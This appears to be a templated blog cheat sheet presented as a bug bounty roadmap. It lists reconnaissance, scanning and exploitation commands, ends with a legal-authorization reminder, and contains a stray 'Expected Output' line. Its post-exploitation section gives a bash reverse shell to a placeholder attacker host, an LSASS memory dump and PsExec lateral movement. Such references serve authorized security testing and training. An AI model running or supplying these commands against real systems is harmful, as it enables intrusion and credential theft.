Bug Bounty Roadmap: A Comprehensive Guide

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Courses & Resources:

  1. Bug Bounty & Ethical Hacking Course
  2. Advanced Penetration Testing
  3. Web Application Security

You Should Know:

Essential Tools & Commands for Bug Bounty Hunters

Reconnaissance

 Subdomain Enumeration 
subfinder -d example.com -o subdomains.txt 
amass enum -d example.com -o amass_results.txt 
assetfinder --subs-only example.com | tee assetfinder.txt

Wayback Machine Data 
waybackurls example.com | tee wayback_urls.txt

Vulnerability Scanning

 Nikto Web Scanner 
nikto -h https://example.com -output nikto_scan.txt

Nuclei Templates 
nuclei -u https://example.com -t ~/nuclei-templates/ -o nuclei_results.txt

SQLi Detection 
sqlmap -u "https://example.com/search?q=1" --batch --crawl=2

Exploitation

 XSS Testing 
python3 xsstrike.py -u "https://example.com/search?q=<script>"

SSRF Testing 
ffuf -u "https://example.com/proxy?url=http://internal" -w ssrf_payloads.txt

Post-Exploitation

 Reverse Shell (Netcat) 
nc -lvnp 4444 
bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'

Privilege Escalation (Linux) 
linpeas.sh 
python3 -c 'import pty; pty.spawn("/bin/bash")'

Windows Commands for Pentesting

 Check User Privileges 
whoami /priv

Dump LSASS Memory 
procdump.exe -ma lsass.exe lsass.dmp

Lateral Movement with PsExec 
PsExec.exe \target-pc -u admin -p password cmd.exe

What Undercode Say

Bug bounty hunting requires persistence, automation, and deep knowledge of web vulnerabilities. Always:
– Use Burp Suite for manual testing.
– Automate workflows with Python & Bash.
– Stay updated with CVE databases and HackerOne reports.
– Practice on legal environments like Hack The Box or TryHackMe.

Prediction

The bug bounty industry will grow exponentially, with AI-driven vulnerability scanners becoming mainstream. Ethical hackers must adapt to automation while mastering manual exploitation techniques.

Expected Output:

A structured, actionable bug bounty roadmap with verified commands, tools, and course links for skill development.

Note: Always comply with legal guidelines and obtain proper authorization before testing.

IT/Security Reporter URL:

Reported By: Zlatanh Bug – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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